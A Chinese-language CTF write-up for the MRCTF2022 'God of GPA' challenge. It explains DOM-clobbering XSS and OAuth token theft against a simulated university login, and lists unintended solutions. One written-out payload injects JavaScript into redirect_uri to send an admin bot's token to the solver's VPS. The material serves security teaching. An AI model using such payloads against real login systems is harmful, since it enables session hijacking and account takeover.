MRCTF2022_God_of_GPA_WP
前言
自家战队办比赛,那怎么说也得凑个热闹,腆着脸出了一道题
题目环境
https://github.com/Ibukifalling/my-ctf-challenge/tree/master/God_of_GPA_docker
考点
Xss via DOM Clobbering & Steal Oauth token
出题记录
因为挖学校的洞的时候发现学校的系统用的都是Oauth实现的单点登录,然后打了半天也没打下来。很气,于是就想出一个跟oauth登录有关的题
OAuth 2.0 的一个简单解释
(当然,题目里的oauth认证经过了很多简化,实际场景中还要更复杂一些)
出到一半的时候觉得有点太简单了……碰巧看到DOM Clobbering这个神奇的东西,于是就缝了一下(可能稍微有点脑洞)
(最后被各位师傅用各种非预期打爆了,出题人直接进行一波学习)
(顺便,题目域名中的brt指boren tech-博仁科技)
预期解题思路
查看题目Web结构
大致查看一下题目可以发现,题目由两个web组成:博仁科技统一身份认证和博仁课堂。统一身份认证在登录状态下时,博仁课堂可以直接一键登录。
具体的登录过程如下:
在博仁课堂(client端)界面点击一键登录按钮后,转到博仁科技统一身份认证(server端)的oauth认证页面,并且附带一个redirect_uri参数,即成功认证后的重定向地址
若此时server端为登录状态,则会显示认证成功,设置一个重定向到redirect_uri的跳转,并且带有一个token参数
client端在接受到这个token参数后会在后端向server端的api进行请求并且获取用户的身份信息(这一步选手是无法看到的),然后以获取到的用户名登录.
登录到博仁课堂后可以查看自己的成绩,当然默认情况是全挂了的
点神秘按钮会跳到一个后门界面,但是这个后门只有管理员能用,说明要拿到管理权限
博仁课堂还有一个树洞功能,可以发文章,但是没办法直接xss。(后端使用了DOMPurify进行过滤)
回来看server端,给了一个和zbr互动的界面(此处提示了bot的浏览器是chrome,跟之后的xss有关)
Xss via DOM Clobbering
仔细查看博仁树洞查看文章页面的前端代码,发现zbr头像的部分用了一段非常诡异的代码
此处可以利用dom xss,参考-使用 Dom Clobbering 扩展 XSS
测试一下,文章内容填入
这里使用a标签和cid:进行了注入,也有其他师傅用img标签+data:等方式成功注入,注意测试的时候用chrome浏览器
Get Token
之前说到过一键登录是通过token实现的,那么很容易想到:让bot访问认证页,然后redirect_uri填自己的vps,不就拿到admin token了吗?
试一下会发现不行,因为redirect_uri有检测
不过再仔细试一下会发现只要url部分符合就行了,path部分可以随便填,也就是说redirect_uri=http://brtclient.node3.mrctf.fun/123123
这种格式也是可以的
那么其实可以写两篇xss文章,让bot访问认证页之后重定向到另一篇xss,另一篇xss接到token之后再发送到vps(也有师傅写成二合一,本质上是一样的)
exp
part1(网上随便抄的接受get参数方法)
part2
向bot发送part2的uuid,part2会访问oauth认证地址并且重定向到part1,part1再发送到远程监听服务器上,以此获得token
(给没做出来的带火看一下后门长啥样,是一个一键满绩页面)
(输入用户id后可以令该用户所有科目变成一佰分)
非预期解
实际比赛中,各路大佬们打出了各种天马行空的非预期,令出题人叹为观止
非预期1-夺舍bot
由于出题人在写正则的时候忘记写开头和结尾匹配,导致发送uuid的校验出现问题…
如果向bot发送形如uuid/../../login?token=yourtoken
的uuid,可以令bot在博仁课堂端登录上选手本人的账户
那有人就要问了,bot登自己账户有啥用阿?
这里又要甩锅给出题人了…登录成功的页面提示信息是直接拼接用户名的…
所以可以在用户名处进行xss…直接把payload写在用户名里…(我哪知道会有人这么玩啊QAQ)
因为此时bot在server端仍然是管理员账号,在用户名的xss中令bot先访问brtserver.node3.mrctf.fun/oauth/authorize
可以拿回管理员权限,也就是打了一个CSRF
可怕的是居然有多队打出这个非预期…师傅们的脑洞实在是太大了…(有没有一种可能,是出题人的安全开发意识没到位呢)
非预期2-oauth xss
这个比上面那个稍微好一点,但依然震撼出题人一整年……并且也有多队打出了这个非预期……
由于跳转界面也是直接拼接的redirect_uri,而redirect_uri后面的路径是可以随便写的,所以可以在redirect_uri处进行xss
在文章的xss处令bot访问http://brtserver.node2.buptmerak.cn/oauth/authorize? redirect_uri=http://brtclient.node2.buptmerak.cn/";window.location="http://vps/
可以直接拿到token,这样就不用再弹一次了
非预期3-token是啥?能吃么?
这个应该算是比较正常的非预期了,不尝试获得登录token而是直接令bot访问后门页面。其实把后门页面写成交互式而不是直接获得flag就是希望选手尝试获得token。看来下次还是得在前端加点混淆……
后话
关于本次比赛密码题,强烈推荐
https://www.zhihu.com/answer/2455486891